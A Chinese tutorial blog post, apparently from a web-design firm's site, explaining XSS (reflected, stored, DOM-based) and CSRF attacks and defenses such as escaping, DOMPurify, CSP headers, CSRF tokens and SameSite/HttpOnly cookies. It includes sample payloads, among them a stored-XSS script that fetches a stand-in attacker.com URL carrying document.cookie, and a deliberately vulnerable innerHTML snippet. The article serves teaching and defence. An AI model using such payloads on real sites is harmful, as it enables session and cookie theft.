尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
xss和CSRF的攻击和防御
一、什么是跨站脚本攻击xss跨站脚本攻击是一种通过向网页端注入恶意脚本在用户浏览器执行攻击代码的漏洞会通过url参数、表单提交等窃取用户的身份凭证如cookie、session和篡改页面内容如插入虚假广告或链接。XSS攻击case用户输入渲染评论、搜索、URL 参数第三方脚本广告、统计、CDN富文本编辑器Markdown 渲染JSON 数据直接插入 HTMLxss防御用fonttextContent代替innerHTML用户输入必须转义对用户输入的信息必须转义仅允许安全字符转义特殊字符 ’ %20等。富文本用 DOMPurify 过滤配置 CSP 头通过HTTP头Content-Security-Policy限制脚本来源Content-Security-Policy:default-srcself;script-srcselfhttps://trusted-cdn.com;二、xss的三种类型1.反射性XSS触发条件恶意脚本通过URL参数传递服务器未过滤直接返回到页面攻击场景钓鱼邮件或链接诱导用户点击举个栗子https://www.baidu.com/search?queryscriptalert(我是XSS)/script诺2.存储型XSS触发条件恶意脚本被永久存储到服务器评论、数据库用户访问时加载攻击场景富文本、输入框等用户生成内容举个栗子scriptfetch(http://attacker.com/steal?cookiedocument.cookie)/script其他用户查看评论时cookie将被发送至攻击者服务器3.DOM型XSS触发条件前端JavaScript动态操作DOM时未过滤数据导致恶意代码执行攻击场景单页面应用SPA或依赖前端路由的网站举个栗子// 漏洞代码从URL中提取参数并直接插入页面constnamenewURL(location.href).searchParams.get(name);document.getElementById(welcome).innerHTMLHello,${name}!;三、CSRF跨站请求伪造攻击攻击者诱导用户进入一个第三方网站然后该网站向被攻击网站发送跨站请求(和被攻击网站同源)。如果用户在被攻击网站中保存了登录状态那么攻击者就可以利用这个登录状态绕过后台的用户验证冒充用户向服务器执行一些操作。本质利用 cookie 会在同源请求中携带发送给服务器的特点(服务器根据域名判断)以此来实现用户的冒充。常见攻击类型GET型ex: 在网站中的一个 img 标签里构建一个请求当用户打开这个网站的时候就会自动发起提交。POST型ex: 构建一个表单然后隐藏它当用户进入页面时自动提交这个表单。链接型ex: 在 a 标签的 href 属性里构建一个请求然后诱导用户去点击。预防CSRF token验证服务端返回一个随机token客户端再次发送请求时需携带设置cookie属性可以设置samesite属性有两种模式严格模式下任何情况下不允许第三方使用宽松模式下仅允许被实现页面跳转的get请求使用四、xss和CSRF总结防御以登录为例子推荐使用纵深防御——HttpOnly Cookie SameSite CSP 输入验证。需要前后端配合登录接口使用Set-coolie返回前端请求加 credentials: include或者用 axios全局配置axios.defaults.withCredentialstrue;设置 httpOnly: true 后 JavaScript 读不到对于CSRF加个 sameSite: lax 就能解决大部分场景。这方案在开发成本上的性价比是很高的而对于APP内置的WebView用HttpOnly Cookie可能有兼容问题需要重新评估该方案。
RELATED

相关推荐

Nano Banana Pro 提示词实战:5 个维度 + 3 套可直接抄的完整案例

Nano Banana Pro 提示词实战:5 个维度 + 3 套可直接抄的完整案例

Nano Banana Pro 提示词实战:5 个维度 3 套可直接抄的完整案例 【免费下载链接】awesome-nanobanana-pro 🚀 An awesome list of curated Nano Banana pro prompts and examples. Your go-to resource for mastering prompt engineering and exploring …

📅 2026/11/5 1:40:58
用自定义数据集微调PP-OCRv6文本检测、识别模型

用自定义数据集微调PP-OCRv6文本检测、识别模型

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📅 2026/11/5 1:35:58
30 分钟画出一张能跑的小镇地图:AI Town 地图编辑器零基础上手

30 分钟画出一张能跑的小镇地图:AI Town 地图编辑器零基础上手

30 分钟画出一张能跑的小镇地图:AI Town 地图编辑器零基础上手 【免费下载链接】ai-town A MIT-licensed, deployable starter kit for building and customizing your own version of AI town - a virtual town where AI characters live, chat and socialize. 项…

📅 2026/11/5 1:35:58
MORE NEWS

更多资讯

📰

快速排序算法原理与实现详解

1. 快速排序核心思想与原理剖析快速排序(Quick Sort)作为20世纪十大算法之一,其核心在于"分而治之"(Divide and Conquer)策略。想象你是一名图书管理员,面对满架杂乱无章的书籍,最有效…

📰

Vibe Coding:编程中的多感官体验设计与实现

1. Vibe Coding概念解析:当编程遇上氛围感第一次听到"Vibe Coding"这个词是在一个独立开发者的小型聚会上。当时一位做音乐可视化工具的开发者说:"我的代码必须要有vibe,不然用户根本感受不到节奏"。这句话让我意识到&am…

📰

智能体技能(Agent Skills)架构设计与开发实践

1. 什么是Agent Skills?Agent Skills(智能体技能)本质上是一组可复用的功能模块,让智能体能够完成特定任务。就像人类通过学习获得不同技能一样,智能体通过集成这些技能模块来扩展其能力边界。典型的Agent Skills包括但…

📰

微信校园服务平台架构设计与高并发优化实践

1. 项目概述:校园服务平台的数字化革新在移动互联网深度渗透校园生活的今天,"weixin107校园服务平台"正试图解决一个高频刚需问题:如何将分散的校园服务整合到一个统一的移动端入口。这个基于微信生态的轻量化应用,本质…

📰

网易前端实训营:全栈项目实战与高并发优化

1. 项目背景与核心价值作为一名经历过前端求职寒冬的老兵,我深知当前就业市场的残酷现实。去年辅导的37名学员中,有29人反馈"项目经验单薄"是面试失败的首要原因。这正是网易前端实训营吸引我的地方——它直接瞄准了"学习技术易&#xff…

📰

2025年Data Agent技术演进与行业应用解析

1. 榜单背景与行业价值2025年中国大数据产业正经历从规模扩张向价值深挖的关键转型期。Data Agent(数据智能体)作为融合大模型与垂直场景的新范式,正在重构企业数据应用的基础架构。金猿奖作为国内大数据领域最具公信力的行业奖项之一&#x…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬